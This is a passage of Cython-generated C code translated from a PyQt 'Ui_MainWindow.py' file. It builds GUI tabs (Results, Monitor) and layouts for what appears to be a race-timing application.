__Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else #endif { __pyx_t_3 = PyTuple_New(2+__pyx_t_8); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 846, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); if (__pyx_t_7) { __Pyx_GIVEREF(__pyx_t_7); PyTuple_SET_ITEM(__pyx_t_3, 0, __pyx_t_7); __pyx_t_7 = NULL; } __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_3, 0+__pyx_t_8, __pyx_t_6); __Pyx_INCREF(__pyx_kp_u__9); __Pyx_GIVEREF(__pyx_kp_u__9); PyTuple_SET_ITEM(__pyx_t_3, 1+__pyx_t_8, __pyx_kp_u__9); __pyx_t_6 = 0; __pyx_t_4 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_t_3, NULL); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 846, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; /* "Ui_MainWindow.py":847 * self.toolBox.addItem(self.P_Laptime, "") * self.Tab_Container.addTab(self.T_Race, "") * self.T_Results = QtWidgets.QWidget() # <<<<<<<<<<<<<< * self.T_Results.setObjectName("T_Results") * self.Tab_Container.addTab(self.T_Results, "") */ __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 847, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_QWidget); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 847, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_3))) { __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_3); if (likely(__pyx_t_1)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); __Pyx_INCREF(__pyx_t_1); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_3, function); } } if (__pyx_t_1) { __pyx_t_4 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 847, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } else { __pyx_t_4 = __Pyx_PyObject_CallNoArg(__pyx_t_3); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 847, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_T_Results, __pyx_t_4) < 0) __PYX_ERR(0, 847, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; /* "Ui_MainWindow.py":848 * self.Tab_Container.addTab(self.T_Race, "") * self.T_Results = QtWidgets.QWidget() * self.T_Results.setObjectName("T_Results") # <<<<<<<<<<<<<< * self.Tab_Container.addTab(self.T_Results, "") * self.T_Monitor = QtWidgets.QWidget() */ __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_T_Results); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 848, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_setObjectName); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 848, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_tuple__536, NULL); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 848, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; /* "Ui_MainWindow.py":849 * self.T_Results = QtWidgets.QWidget() * self.T_Results.setObjectName("T_Results") * self.Tab_Container.addTab(self.T_Results, "") # <<<<<<<<<<<<<< * self.T_Monitor = QtWidgets.QWidget() * self.T_Monitor.setToolTip("") */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_Tab_Container); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 849, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_addTab); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 849, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_T_Results); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 849, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_6 = NULL; __pyx_t_8 = 0; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_1))) { __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_1); if (likely(__pyx_t_6)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); __Pyx_INCREF(__pyx_t_6); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_1, function); __pyx_t_8 = 1; } } #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[3] = {__pyx_t_6, __pyx_t_3, __pyx_kp_u__9}; __pyx_t_4 = __Pyx_PyFunction_FastCall(__pyx_t_1, __pyx_temp+1-__pyx_t_8, 2+__pyx_t_8); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 849, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[3] = {__pyx_t_6, __pyx_t_3, __pyx_kp_u__9}; __pyx_t_4 = __Pyx_PyCFunction_FastCall(__pyx_t_1, __pyx_temp+1-__pyx_t_8, 2+__pyx_t_8); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 849, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif { __pyx_t_7 = PyTuple_New(2+__pyx_t_8); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 849, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); if (__pyx_t_6) { __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_7, 0, __pyx_t_6); __pyx_t_6 = NULL; } __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_7, 0+__pyx_t_8, __pyx_t_3); __Pyx_INCREF(__pyx_kp_u__9); __Pyx_GIVEREF(__pyx_kp_u__9); PyTuple_SET_ITEM(__pyx_t_7, 1+__pyx_t_8, __pyx_kp_u__9); __pyx_t_3 = 0; __pyx_t_4 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_t_7, NULL); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 849, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; /* "Ui_MainWindow.py":850 * self.T_Results.setObjectName("T_Results") * self.Tab_Container.addTab(self.T_Results, "") * self.T_Monitor = QtWidgets.QWidget() # <<<<<<<<<<<<<< * self.T_Monitor.setToolTip("") * self.T_Monitor.setStatusTip("") */ __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 850, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_QWidget); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 850, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_7))) { __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_7); if (likely(__pyx_t_1)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_7); __Pyx_INCREF(__pyx_t_1); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_7, function); } } if (__pyx_t_1) { __pyx_t_4 = __Pyx_PyObject_CallOneArg(__pyx_t_7, __pyx_t_1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 850, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } else { __pyx_t_4 = __Pyx_PyObject_CallNoArg(__pyx_t_7); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 850, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_T_Monitor, __pyx_t_4) < 0) __PYX_ERR(0, 850, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; /* "Ui_MainWindow.py":851 * self.Tab_Container.addTab(self.T_Results, "") * self.T_Monitor = QtWidgets.QWidget() * self.T_Monitor.setToolTip("") # <<<<<<<<<<<<<< * self.T_Monitor.setStatusTip("") * self.T_Monitor.setAccessibleName("") */ __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_T_Monitor); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 851, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_setToolTip); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 851, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_PyObject_Call(__pyx_t_7, __pyx_tuple__537, NULL); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 851, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; /* "Ui_MainWindow.py":852 * self.T_Monitor = QtWidgets.QWidget() * self.T_Monitor.setToolTip("") * self.T_Monitor.setStatusTip("") # <<<<<<<<<<<<<< * self.T_Monitor.setAccessibleName("") * self.T_Monitor.setAccessibleDescription("") */ __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_T_Monitor); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 852, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_setStatusTip); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 852, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_PyObject_Call(__pyx_t_7, __pyx_tuple__538, NULL); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 852, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; /* "Ui_MainWindow.py":853 * self.T_Monitor.setToolTip("") * self.T_Monitor.setStatusTip("") * self.T_Monitor.setAccessibleName("") # <<<<<<<<<<<<<< * self.T_Monitor.setAccessibleDescription("") * self.T_Monitor.setObjectName("T_Monitor") */ __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_T_Monitor); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 853, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_setAccessibleName); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 853, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_PyObject_Call(__pyx_t_7, __pyx_tuple__539, NULL); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 853, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; /* "Ui_MainWindow.py":854 * self.T_Monitor.setStatusTip("") * self.T_Monitor.setAccessibleName("") * self.T_Monitor.setAccessibleDescription("") # <<<<<<<<<<<<<< * self.T_Monitor.setObjectName("T_Monitor") * self.verticalLayoutWidget = QtWidgets.QWidget(self.T_Monitor) */ __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_T_Monitor); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 854, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_setAccessibleDescription); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 854, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_PyObject_Call(__pyx_t_7, __pyx_tuple__540, NULL); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 854, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; /* "Ui_MainWindow.py":855 * self.T_Monitor.setAccessibleName("") * self.T_Monitor.setAccessibleDescription("") * self.T_Monitor.setObjectName("T_Monitor") # <<<<<<<<<<<<<< * self.verticalLayoutWidget = QtWidgets.QWidget(self.T_Monitor) * self.verticalLayoutWidget.setGeometry(QtCore.QRect(-1, -1, 801, 531)) */ __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_T_Monitor); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 855, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_setObjectName); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 855, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_PyObject_Call(__pyx_t_7, __pyx_tuple__541, NULL); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 855, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; /* "Ui_MainWindow.py":856 * self.T_Monitor.setAccessibleDescription("") * self.T_Monitor.setObjectName("T_Monitor") * self.verticalLayoutWidget = QtWidgets.QWidget(self.T_Monitor) # <<<<<<<<<<<<<< * self.verticalLayoutWidget.setGeometry(QtCore.QRect(-1, -1, 801, 531)) * self.verticalLayoutWidget.setObjectName("verticalLayoutWidget") */ __pyx_t_7 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 856, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_QWidget); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 856, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_T_Monitor); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 856, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_3 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_1))) { __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_1); if (likely(__pyx_t_3)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); __Pyx_INCREF(__pyx_t_3); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_1, function); } } if (!__pyx_t_3) { __pyx_t_4 = __Pyx_PyObject_CallOneArg(__pyx_t_1, __pyx_t_7); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 856, __pyx_L1_error) __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_GOTREF(__pyx_t_4); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_t_7}; __pyx_t_4 = __Pyx_PyFunction_FastCall(__pyx_t_1, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 856, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_t_7}; __pyx_t_4 = __Pyx_PyCFunction_FastCall(__pyx_t_1, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 856, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } else #endif { __pyx_t_6 = PyTuple_New(1+1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 856, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_6, 0, __pyx_t_3); __pyx_t_3 = NULL; __Pyx_GIVEREF(__pyx_t_7); PyTuple_SET_ITEM(__pyx_t_6, 0+1, __pyx_t_7); __pyx_t_7 = 0; __pyx_t_4 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_t_6, NULL); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 856, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } } __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_verticalLayoutWidget, __pyx_t_4) < 0) __PYX_ERR(0, 856, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; /* "Ui_MainWindow.py":857 * self.T_Monitor.setObjectName("T_Monitor") * self.verticalLayoutWidget = QtWidgets.QWidget(self.T_Monitor) * self.verticalLayoutWidget.setGeometry(QtCore.QRect(-1, -1, 801, 531)) # <<<<<<<<<<<<<< * self.verticalLayoutWidget.setObjectName("verticalLayoutWidget") * self.verticalLayout = QtWidgets.QVBoxLayout(self.verticalLayoutWidget) */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_verticalLayoutWidget); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 857, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_setGeometry); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 857, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtCore); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 857, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_QRect); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 857, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_7, __pyx_tuple__542, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 857, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_6))) { __pyx_t_7 = PyMethod_GET_SELF(__pyx_t_6); if (likely(__pyx_t_7)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); __Pyx_INCREF(__pyx_t_7); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_6, function); } } if (!__pyx_t_7) { __pyx_t_4 = __Pyx_PyObject_CallOneArg(__pyx_t_6, __pyx_t_1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 857, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_4); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_6)) { PyObject *__pyx_temp[2] = {__pyx_t_7, __pyx_t_1}; __pyx_t_4 = __Pyx_PyFunction_FastCall(__pyx_t_6, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 857, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_6)) { PyObject *__pyx_temp[2] = {__pyx_t_7, __pyx_t_1}; __pyx_t_4 = __Pyx_PyCFunction_FastCall(__pyx_t_6, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 857, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } else #endif { __pyx_t_3 = PyTuple_New(1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 857, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_GIVEREF(__pyx_t_7); PyTuple_SET_ITEM(__pyx_t_3, 0, __pyx_t_7); __pyx_t_7 = NULL; __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_3, 0+1, __pyx_t_1); __pyx_t_1 = 0; __pyx_t_4 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_t_3, NULL); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 857, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } } __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; /* "Ui_MainWindow.py":858 * self.verticalLayoutWidget = QtWidgets.QWidget(self.T_Monitor) * self.verticalLayoutWidget.setGeometry(QtCore.QRect(-1, -1, 801, 531)) * self.verticalLayoutWidget.setObjectName("verticalLayoutWidget") # <<<<<<<<<<<<<< * self.verticalLayout = QtWidgets.QVBoxLayout(self.verticalLayoutWidget) * self.verticalLayout.setContentsMargins(0, 0, 0, 0) */ __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_verticalLayoutWidget); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 858, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_setObjectName); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 858, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_tuple__543, NULL); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 858, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; /* "Ui_MainWindow.py":859 * self.verticalLayoutWidget.setGeometry(QtCore.QRect(-1, -1, 801, 531)) * self.verticalLayoutWidget.setObjectName("verticalLayoutWidget") * self.verticalLayout = QtWidgets.QVBoxLayout(self.verticalLayoutWidget) # <<<<<<<<<<<<<< * self.verticalLayout.setContentsMargins(0, 0, 0, 0) * self.verticalLayout.setObjectName("verticalLayout") */ __pyx_t_6 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 859, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_QVBoxLayout); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 859, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_verticalLayoutWidget); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 859, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_1 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_3))) { __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_3); if (likely(__pyx_t_1)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); __Pyx_INCREF(__pyx_t_1); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_3, function); } } if (!__pyx_t_1) { __pyx_t_4 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_6); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 859, __pyx_L1_error) __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_4); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[2] = {__pyx_t_1, __pyx_t_6}; __pyx_t_4 = __Pyx_PyFunction_FastCall(__pyx_t_3, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 859, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[2] = {__pyx_t_1, __pyx_t_6}; __pyx_t_4 = __Pyx_PyCFunction_FastCall(__pyx_t_3, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 859, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else #endif { __pyx_t_7 = PyTuple_New(1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 859, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_7, 0, __pyx_t_1); __pyx_t_1 = NULL; __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_7, 0+1, __pyx_t_6); __pyx_t_6 = 0; __pyx_t_4 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_t_7, NULL); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 859, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } } __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_verticalLayout, __pyx_t_4) < 0) __PYX_ERR(0, 859, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; /* "Ui_MainWindow.py":860 * self.verticalLayoutWidget.setObjectName("verticalLayoutWidget") * self.verticalLayout = QtWidgets.QVBoxLayout(self.verticalLayoutWidget) * self.verticalLayout.setContentsMargins(0, 0, 0, 0) # <<<<<<<<<<<<<< * self.verticalLayout.setObjectName("verticalLayout") * self.horizontalLayout_9 = QtWidgets.QHBoxLayout() */ __pyx_t_4 = 